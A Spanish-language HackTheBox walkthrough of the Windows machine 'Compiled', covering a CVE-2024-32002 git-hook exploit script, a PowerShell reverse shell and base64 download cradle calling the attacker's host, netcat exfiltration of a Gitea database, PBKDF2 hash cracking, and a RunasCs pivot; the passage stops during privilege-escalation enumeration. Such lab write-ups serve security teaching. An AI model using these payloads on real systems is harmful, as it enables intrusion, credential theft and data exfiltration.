Compiled – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

‘Compiled’ Avatar


Resumen Link to heading

“Compiled” es una máquina de dificultad media de la plataforma HackTheBox. Encontramos un servicio web en la máquina víctima el cual clona repositorios de Git. Adicionalmente, somos capaces de encontrar un servicio interno de Gitea en la máquina víctima el cual muestra algunos repositorios. Somos capaces de crear un repositorio malicioso en el repositorio interno de Gitea el cual abusa una vulnerabilidad catalogada como CVE-2024-32002 la cual permite ejecución remota de comandos. Abusando esta vulnerabilidad, somos capaces de ganar acceso inicial a la máquina víctima. Una vez dentro, encontramos una base de datos SQLite; dentro de ésta encontramos algunos hashes y salts para passwords con algoritmo pbkdf2, de los cuales somos capaces de crackear uno de ellos y encontrar la contraseña de un nuevo usuario. Este nuevo usuario tiene acceso a través de WinRM; donde también podemos pivotear a este usuario utilizando la herramienta RunasCs. Ya como este nuevo usuario, somos capaces de ver un nuevo servicio corriendo ligado a Visual Studio el cual es vulnerable a CVE-2024-20656; éste nos permite ejecución de comandos y ganar así acceso como nt authority/system.


User / Usuario Link to heading

Empezando con un rápido, pero silencioso escaneo con Nmap obtenemos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.26

Éste nos muestra 4 puertos abiertos: 3000, 5000, sitios HTTP, 5985 Windows Remote Management y 7680.

Aplicando algunos escaneos de reconocimiento con la flag -sVC muestra:

❯ sudo nmap -sVC -p3000,5000,5985,7680 10.10.11.26

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 02:24 -03
Nmap scan report for 10.10.11.26
Host is up (0.33s latency).

PORT     STATE SERVICE    VERSION
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=389dcb552a48c041; Path=/; HttpOnly; SameSite=Lax
<SNIP>
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Sun, 08 Dec 2024 05:25:20 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5234
|     Connection: close
|     <!DOCTYPE html>
<SNIP>
5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open  pando-pub?
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.67 seconds

Usando WhatWeb contra los sitios corriendo en los puertos 3000 y 5000 retorna:

❯ whatweb -a 3 http://10.10.11.26:3000/

http://10.10.11.26:3000/ [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.26], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[Git], X-Frame-Options[SAMEORIGIN]

❯ whatweb -a 3 http://10.10.11.26:5000/

http://10.10.11.26:5000/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.26], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services], Werkzeug[3.0.3]

El puerto 3000 muestra un servicio de Gitea, mientras que el puerto 5000 parece estar corriendo un sitio web con Flask.

Visitando http://10.10.11.26:3000 muestra, como no es sorpresa, un sitio web con Gitea:

Compiled 1

Nos creamos una cuenta en el sitio de Gitea y vamos a la pestaña de Explore para ver repositorios expuestos/públicos. Allí podemos ver 2 repositorios:

Compiled 2

Ambos repositorios pertenecen a un usuario llamado richard.

Revisando el repositorio Compiled muestra una descripción para este repositorio:

Compiled 3

Welcome to Compiled, your one-stop solution for compiling C++, C#, and .NET projects. This web application allows users to input GitHub repository URLs and get their projects compiled effortlessly.

En resumen, es una página que compila projectos escritos en C, C# y Microsoft .NET. Algunas veces, cuando tratamos de clonar/descargar un repositorio, éste sólo contiene un archivo .sln (para C#) o .c (para C). De manera que, aparentemente, este sitio compila/trata con códigos en estos lenguajes.

De la misma manera, este sitio provee una sección de “uso”:

Once the application is up and running, follow these steps to compile your projects:

1. Open your web browser and navigate to http://localhost:5000.
2. Enter the URL of your GitHub repository (must be a valid URL starting with http:// and ending with .git).
3. Click the Submit button.
4. Wait for the compilation process to complete and view the results.

Revisando el otro repositorio del usuario richard, llamado Calculator, muestra:

Compiled 4

La página muestra un simple script de una calculadora escrita en C#, cómo construirla/compilarla y ejecutarla, pero nada más allá de eso.

Ya en este punto podemos ir a la otra página HTTP corriendo en el puerto 5000. Visitando http://10.10.11.26:5000 muestra un compilador C, C# y Microsoft .NET:

Compiled 5

Basados en cómo se ve el sitio web, asumimos que el código del repositorio Compiled que se encontraba en el repositorio Gitea de la máquina víctima (el cual también incluía un archivo app.py para Flask) es el código corriendo este sitio web.

Primero que todo, revisemos si el compilador funciona o cómo funciona. Para esto podríamos crear un simple proyecto en C#, o simplemente clonar el repositorio Calculator, exponerlo a través de un servidor temporal HTTP y ver si funciona. Clonamos el repositorio Calculator:

❯ git clone http://10.10.11.26:3000/richard/Calculator.git

Cloning into 'Calculator'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 25 (delta 7), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (25/25), 8.81 KiB | 2.94 MiB/s, done.
Resolving deltas: 100% (7/7), done.

Lo exponemos a través de un servidor HTTP temporal con Python en el puerto 8000:

❯ ls -la && python -m http.server 8000

total 36
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec  8 02:57 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Dec  8 02:57 ..
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec  8 02:57 Calculator
-rw-rw-r-- 1 gunzf0x gunzf0x 1420 Dec  8 02:57 Calculator.sln
drwxrwxr-x 8 gunzf0x gunzf0x 4096 Dec  8 02:58 .git
-rw-rw-r-- 1 gunzf0x gunzf0x 2518 Dec  8 02:57 .gitattributes
-rw-rw-r-- 1 gunzf0x gunzf0x 6223 Dec  8 02:57 .gitignore
-rw-rw-r-- 1 gunzf0x gunzf0x 3308 Dec  8 02:57 README.md
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y luego pasamos la url en la página web del puerto 5000 de la máquina víctima. No obstante, al hacerlo obtenemos un error:

Compiled 6

El sitio debe ser un sitio web válido para Git, terminando con .git.

Podríamos descarga un contenedor de Docker para Gitea, desplegar Gitea allí, exponerlo y así pedir nuestro repositorio creado. O, dado que ya tenemos un sitio web corriendo Gitea y podemos crearnos cuentas en éste, podemos aprovechar este servicio ya instalado para crear repositorios. Por ejemplo, si pasamos la url http://10.10.11.26:3000/richard/Calculator.git (la cual es la url del repositorio Calculator dentro del servicio Git interno) obtenemos la siguiente respuesta del servidor:

Compiled 7

Solamente obtenemos el texto Your git repository is being cloned for compilation (tu repositorio de git está siendo clonado para ser compilado). Pero no sucede nada más.

Debemos entonces de encontrar un camino para ejecutar o inyectar comandos mientras el programa es compilado y/o clonado (ya que, basados en el texto del proyecto, el código es clonado). Buscando por exploits de Remote Code Execution (RCE, o ejecución remota de comandos) para Git retorna una vulnerabilidad catalogada como CVE-2024-32002. La frase que captura nuestra atención es This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. De manera que este código es activado al momento de clonarse un repositorio; que es la misma acción que la página web dice que se realiza. Buscando más acerca de vulnerabilidad encontramos este blog con un PoC. Leyendo un poco, el autor provee el siguiente exploit de Bash:

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

En corto, lo que hace este script es:

  1. Define algunas configuraciones globales para Git.
  2. Crea un archivo llamado tell-tale.
  3. Crea un repositorio malicioso llamado hook el cual contiene un payload, donde da como ejemplo comandos a ser ejecutados (ejemplos para diferentes sistemas operativos: echo "amal_was_here" > /tmp/pwnd para Linux, calc.exe para Windows y open -a Calculator.app para macOS).
  4. Prepara un submódulo en otro repositorio llamado captain. Agrega como submódulo el repositorio hook en este nuevo repositorio.
  5. Crea un link simbólico .git el cual activará la ejecución de comandos al ser clonado.
  6. A modo de ejemplo, ejecuta el código inyectado al clonar el repositorio captain en un nuevo repositorio llamado hooked (no confundirlo con hook).

Podemos entonces modificar levemente este script para nuestros propositos. El autor, adicionalmente, provee un repositorio de Github con todos los repositorios y archivos necesitados para performar el ataque. En mi caso no lo clonaré ya que el script de Bash dado previamente ya los crea. Lo que sí cambiaremos serán 2 cosas: i) El script está ejecutando el repositorio hooks que se encuentra en local (es decir, está ejecutando el repositorio hook de manera local en vez de un repositorio en la nube como lo puede ser un servicio de Gitea o Github en remoto); ii) Dado que la máquina víctima es una máquina Windows, queremos ejecutar un comando para enviarnos una reverse shell.

En el blog, se muestra cómo solucionar el punto i). Básicamente, el blog dice que debemos cambiar:

$ cat captain/.gitmodules
[submodule "x/y"]
        path = A/modules/x
        url = C:/Users/user/rce/hook

a que se vea como:

[submodule "x/y"]
	path = A/modules/x
	url = git@github.com-hook:amalmurali47/hook.git

Sólo para revisar cómo se llaman los repositorios en la máquina víctima, podemos ir a nuestra cuenta creada en el sitio de Gitea, crear un nuevo repositorio de prueba, seleccionar/clickear en agregar un archivo README.md, licencias entre otros, y crear el repositorio. Hecho esto, tenemos ahora un repositorio de prueba:

Compiled 8

De manera que, para clonar este repositorio, tendríamos la dirección:

http://10.10.11.26:3000/gunzf0x/test_repo.git

para HTTP. O, en su lugar:

COMPILED\Richard@gitea.compiled.htb:gunzf0x/test_repo.git

para clonar a través de SSH. En mi caso me quedaré con la primera opción, pero pueden también intentar la segunda si quieren.

Como comando, podemos definir un “cradle” (que es un simple servidor HTTP exponiendo un archivo de Powershell) para enviarnos una reverse shell. Esto lo hacemos para ver si somos bloqueados por algún antivirus al intentar obtener una shell. Usualmente, lo que hacemos para obtener una reverse shell es:

  1. Enviar un payload a la máquina víctima.
  2. Obtener una reverse shell en un listener.

No obtstante, con un “cradle” los pasos son:

  1. Guardar un payload que nos enviará una reverse shell en un archivo.
  2. Exponer el archivo con el payload en un servidor HTTP temporal.
  3. Enviamos, como payload inicial, un comando que solicitará el archivo expuesto en el servidor HTTP.
  4. Obtenemos una petición en nuestro servidor HTTP.
  5. Se ejecuta el archivo del paso 1 y se obtiene una reverse shell.

Si obtenemos una respuesta (paso 4), pero no obtenemos una reverse shell (paso 5), esto quiere decir que puede haber algún antivirus o Windows Defender bloqueando nuestra shell.

Como payload para enviarnos una reverse shell usamos un script para Powershell de Nishang:

$client = New-Object System.Net.Sockets.TCPClient('10.10.16.2',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Donde modificamos levemente el script, agregando nuestra IP de atacante 10.10.16.2 y puerto 443 (el puerto en el cual nos pondremos en escucha con netcat para obtener una shell). Guardamos este script en un archivo llamado rev.ps1.

Ahora creamos el “cradle” el cual es simplemente una petición al archivo rev.ps1 a través de Powershell siendo expuesto por el puerto 8000 de nuestra máquina de atacantes. Encodeamos el payload a utf-16le (que es como Powershell interpreta las cosas) y lo volvemos a encodear a base64:

❯ echo -n 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.2:8000/rev.ps1")' | iconv -t utf-16le | base64 -w0; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AcgBlAHYALgBwAHMAMQAiACkA

Posteriormente, servimos el archivo rev.ps1 en un servidor temporal HTTP con Python a través del puerto 8000:

❯ ls -la && python3 -m http.server 8000

total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec  8 04:30 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Dec  8 02:23 ..
-rw-rw-r-- 1 gunzf0x gunzf0x  500 Dec  8 04:30 rev.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Tenemos los payloads para la máquina Windows listos. Ahora vamos a crear los payloads para Git. Primero, creamos dos repositorios: uno llamado hook y otro llamado captain en nuestra cuenta creada en el servicio Gitea de la máquina víctima y los dejamos vacíos:

Compiled 9

Tendremos así ambos repositorios creados:

Compiled 10

Ahora, para nuestros propósitos modificamos levemente el script de Bash dado y lo adaptamos:

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook (CHANGED TO GET A REVSHELL)
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AcgBlAHYALgBwAHMAMQAiACkA
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"
# Set origin where "hook" has been uploaded to Git in the victim machine
hook_repo_path='http://10.10.11.26:3000/gunzf0x/hook.git'

git remote add origin $hook_repo_path
# Upload the files
git push -u origin main

cd ..

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
# Upload files to created "captain" repository to Git in the victim machine
git remote add origin http://10.10.11.26:3000/gunzf0x/captain.git
git push -u origin main

cd ..

Donde hemos cambiados los origin de los repositorios a los que hemos creados en el servicio de Gitea de la máquina víctima y, como comando a ejecutar, pasamos el payload de Powershell con el cradle.

Hecho esto, ejecutamos el script:

❯ bash git_exploit.sh

Initialized empty Git repository in /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/hook/.git/
[main (root-commit) e7fbcf1] post-checkout
 1 file changed, 2 insertions(+)
 create mode 100755 y/hooks/post-checkout
Username for 'http://10.10.11.26:3000': gunzf0x
Password for 'http://gunzf0x@10.10.11.26:3000':
<SNIP>

El script eventualmente nos preguntará por usuario y contraseña; cuando esto suceda simplemente le pasamos las credenciales que hemos utilizado en la cuenta que hayamos creado en el servicio de Gitea.

Si esto ha funcionado, podemos ver que ahora ambos repositorios contienen los archivos maliciosos:

Compiled 11

Además, recordar revisar que el archivo .gitmodules en el repositorio captain apunta al repositorio malicioso:

Compiled 12

Exponemos el archivo rev.ps1 en un servidor HTTP con Python por el puerto 8000 si es que no lo hemos hecho antes:

❯ ls -la && python3 -m http.server 8000

total 24
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec  8 04:55 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Dec  8 02:23 ..
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec  8 04:55 captain
-rwxrwxr-x 1 gunzf0x gunzf0x 1620 Dec  8 04:51 git_exploit.sh
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec  8 04:55 hook
-rw-rw-r-- 1 gunzf0x gunzf0x  500 Dec  8 04:30 rev.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Empezamos un listener con netcat junto con rlwrap por el puerto 443:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

y en la página del corriendo por el puerto 5000 (la que clonaba y compilaba código) enviamos el repositorio captain que tenemos en nuestra cuenta (http://10.10.11.26:3000/gunzf0x/captain.git en mi caso). Luego de cerca de un minuto obtenemos un request en nuestro server HTTP y, luego de ello, una shell como el usuario Richard:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 63452
whoami
Richard
PS C:\Users\Richard\source\cloned_repos\6shma\.git\modules\x> whoami

Richard

Ya dentro, buscando por archivos, eventualmente encontramos un archivo .db en la ruta C:\ProgramFiles\Gitea\data llamada gitea.db:

PS C:\Program Files\Git> cmd /c dir "C:\Program Files\*.db" /s
 Volume in drive C has no label.
 Volume Serial Number is 352B-98C6

 Directory of C:\Program Files\Gitea\data

12/08/2024  08:59 AM         2,023,424 gitea.db
               1 File(s)      2,023,424 bytes

     Total Files Listed:
               1 File(s)      2,023,424 bytes
               0 Dir(s)  10,047,758,336 bytes free

Para transferir este archivo desde la máquina víctima a nuestra máquina de atacantes, podemos usar un binario de netcat para Windows.

Primero, pasamos el binario de netcat de nuestra máquina de atacantes a la máquina víctima Windows. Como ya es usual, exponemos el archivo a descargar en un servidor temporal HTTP de Python, y descargamos el archivo utilizando certutil en la máquina víctima Windows:

PS C:\Program Files\Git> certutil.exe -f -split -urlcache http://10.10.16.2:8000/nc64.exe C:\Users\Richard\Downloads\nc.exe

****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Luego, transferimos el archivo gitea.db a nuestra máquina de atacante. Para ello empezamos un listener en otro puerto como 4444 y guardamos toda la data recibida en un archivo llamado gitea.db:

❯ nc -lvnp 4444 > gitea.db

listening on [any] 4444 ...

y en la máquina víctima usamos el binario de netcat transferido para pasarnos el archivo gitea.db:

PS C:\Program Files\Git> cmd /c 'C:\Users\Richard\Downloads\nc.exe 10.10.16.2 4444 < C:\"Program Files"\Gitea\data\gitea.db'

Luego de cerca de un minuto, podemos para el proceso (Ctrl+C) en nuestra máquina de atacante, descargando así el archivo. Revisando este archivo tenemos que es un archivo de SQLite:

❯ file gitea.db

gitea.db: SQLite 3.x database, last written using SQLite version 3042000, file counter 720, database pages 494, 1st free page 494, free pages 1, cookie 0x1cb, schema 4, UTF-8, version-valid-for 720

Revisamos su contenido usando SQLite en nuestra máquina de atacante:

❯ sqlite3 gitea.db

SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables

<SNIP>
language_stat              upload
lfs_lock                   user
lfs_meta_object            user_badge
<SNIP>

Tenemos una tabla user. Revisando sus columnas tenemos:

sqlite> PRAGMA table_info(user);

0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
<SNIP>

Tenemos usuarios, contraseñas y más.

Revisamos algunas columnas que pueden ser interesantes:

sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user;
administrator|administrator|administrator@compiled.htb|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|pbkdf2$50000$50|a45c43d36dce3076158b19c2c696ef7b
richard|richard|richard@compiled.htb|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|pbkdf2$50000$50|d7cf2c96277dd16d95ed5c33bb524b62
emily|emily|emily@compiled.htb|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|pbkdf2$50000$50|227d873cca89103cd83a976bdac52486
gunzf0x|gunzf0x|gunzf0x@compiled.htb|b9d5e695a7f4495ad46477262659d757071dab51983b97b20519e3068ed95d8fd2668469b02daf269591bbf94c9d199df7f4|pbkdf2$50000$50|67769c632307eeae38492e09e2f86d2b

Tenemos hashes salteados con algoritmo PBKDF2. Básicamente, aquí las columnas importantes son name para el usuario, passwd para la contraseña hasheada, passwd_hash_algo el cual define el algoritmo de hash a usar, y salt el cual es la sal para el hash del usuario.

Sin contar el último hash (el cual es el hash para nuestro usuario creado), encontramos 3 hashes:

1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d
4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e
97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16

Y sus respectivos salts:

a45c43d36dce3076158b19c2c696ef7b
d7cf2c96277dd16d95ed5c33bb524b62
227d873cca89103cd83a976bdac52486

Donde el primer hash corresponde al salt de la primera línea y así… Guardamos tanto los hashes como los salts en archivos en nuestra máquina de atacante.

Este blog da una muy buena explicación acerca del algoritmo de hashing PBKDF2. Buscando por pbkdf2 Gitea nos lleva a este Cheat-Sheet de configuración de seguridad para Gitea. Allí se menciona el parámetro password_hash_algo:

Información

PASSWORD_HASH_ALGO: pbkdf2: The hash algorithm to use [argon2, pbkdf2, pbkdf2_v1, pbkdf2_hi, scrypt, bcrypt], argon2 and scrypt will spend significant amounts of memory.

The hash functions may be tuned by using $ after the algorithm:

  • argon2$<time>$<memory>$<threads>$<key-length>
  • bcrypt$<cost>
  • pbkdf2$<iterations>$<key-length>
  • scrypt$<n>$<r>$<p>$<key-length>
Dado que encontramos pbkdf2$50000$50 para password_hash_algo, esto quiere decir que tenemos 50000 de valor para iterations y 50 para key length.

Afortunadamente, la librería hashlib tiene una función para lidiar con estos hashes. Ésta requiere de un hash_name (tipo de hash, como SHA256), una contraseña, una salt, iterations (iteraciones) y dklen (largo de la llave en bytes). El ejemplo que se da en su página es:

from hashlib import pbkdf2_hmac

our_app_iters = 500_000  # Application specific, read above.
dk = pbkdf2_hmac('sha256', b'password', b'bad salt' * 2, our_app_iters)
print (dk.hex())
# '15530bba69924174860db778f2c6f8104d3aaf9d26241840c8c4a641c8d000a9'

Escribimos un simple script en Python basados en el ejemplo para encontrar la contraseña de un usuario:

import binascii
from hashlib import pbkdf2_hmac 

# Set parameters found in .db file
n_iter: int = 50_000
key_length_val: int = 50


def find_password(dictionary_file, target_hash, salt, iterations=n_iter, key_length=key_length_val):
    """
    Find matching password from dictionary file.
    """
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    # Read rockyou.txt
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        for line in file:
            password = line.strip()
            computed_hash = pbkdf2_hmac('sha256',  password.encode('utf-8'), salt,  iterations,  dklen=key_length)
            
            # Check if hash is correct
            if computed_hash == target_hash_bytes:
                print(f"[+] Password found: {password}")
                return password

    print("[-] Password not found.")
    return None

# Parameters
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486')  # Salt value from gitea.db
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'  # Hash sourced from gitea.db
dictionary_file = '/usr/share/wordlists/rockyou.txt'  # Path to dictionary file

# Find matching password
find_password(dictionary_file, target_hash, salt)

El hash para el usuario emily es crackeable:

❯ python3 crack_pass_with_hash.py

[+] Password found: 12345678

Otra manera de encontrar la contraseña, sin usar un script de Python ni la librería hashlib, es usar el formato:

<hashing-algorithm>:<iterations>:<hex-to-base64-salt>:<hex-to-base64r-hash>

Donde las propiedades requeridas son:

  1. El algoritmo de hashing sha256.
  2. Iterations, donde como hemos podido ver, son 50000.
  3. Pasar el salt de hexadecimal a “texto normal” y luego a base64:
❯ echo -n '227d873cca89103cd83a976bdac52486' | xxd -r -p | base64

In2HPMqJEDzYOpdr2sUkhg==
  1. Repetir paso 3, pero para el hash hallado en vez de la salt:
❯ echo -n '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' | xxd -r -p | base64

l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=

Luego, podemos intentar un Brute Force Password Cracking con la herramienta Hashcat. De acuerdo a hashes de ejemplo de Hashcat, el modo 10900 es el correcto para este caso:

❯ hashcat -m 10900 -a 0 -w 3 -O sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY= /usr/share/wordlists/rockyou.txt

<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=:12345678

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q...Io/BY=
<SNIP>

Tenemos una potencial (y muy segura) contraseña para este usuario: emily:12345678. Podemos usar la herramienta RunasCs para pivotear internamente a este usuario (la cual puede ser descargada desde su repositorio Github). Subimos el ejecutable de RunasCs.exe como ya lo hemos hecho anteriormente para otros archivos y lo usamos para pivotear al usuario emily:

PS C:\Program Files\Git> C:\Users\Richard\Downloads\runascs.exe 12345678 cmd.exe -r 10.10.16.2:443 -t 10 --bypass-uac

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-153257$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5080 created in background.

y obtenemos una shell como el usuario emily:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 60923
Microsoft Windows [Version 10.0.19045.4651]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
compiled\emily

Además, recordando el escaneo de Nmap, el puerto del servicio WinRM estaba abierto. ¿Quizás el usuario emily tiene acceso a través de este servicio? Podemos revisar esto usando la herramienta NetExec:

❯ nxc winrm 10.10.11.26 -u 'emily' -p '12345678'

WINRM       10.10.11.26     5985   COMPILED         [*] Windows 10 / Server 2019 Build 19041 (name:COMPILED) (domain:COMPILED)
WINRM       10.10.11.26     5985   COMPILED         [+] COMPILED\emily:12345678 (Pwn3d!)

Funciona.

Podemos conectarnos a la máquina víctima usando evil-winrm también:

❯ evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Emily\Documents>

Podemos finalmente leer la flag de usuario en el Desktop de este usuario.


NT Authority/System - Administrador Link to heading

Revisando el directorio Documents del usuario emily nos permite ver:

*Evil-WinRM* PS C:\Users\Emily\Documents> dir


    Directory: C:\Users\Emily\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/20/2024   1:55 AM                Visual Studio 2019

Tiene un directorio de Visual Studio.

Podemos, además, revisar los procesos de Windows corriendo en la máquina víctima:

   *Evil-WinRM* PS C:\Users\Emily\Documents> services.msc

Path                                                                                                                           Privileges Service
----                                                                                                                           ---------- -------
<SNIP>
"C:\Program Files\Microsoft Update Health Tools\uhssvc.exe"                                                                         False uhssvc
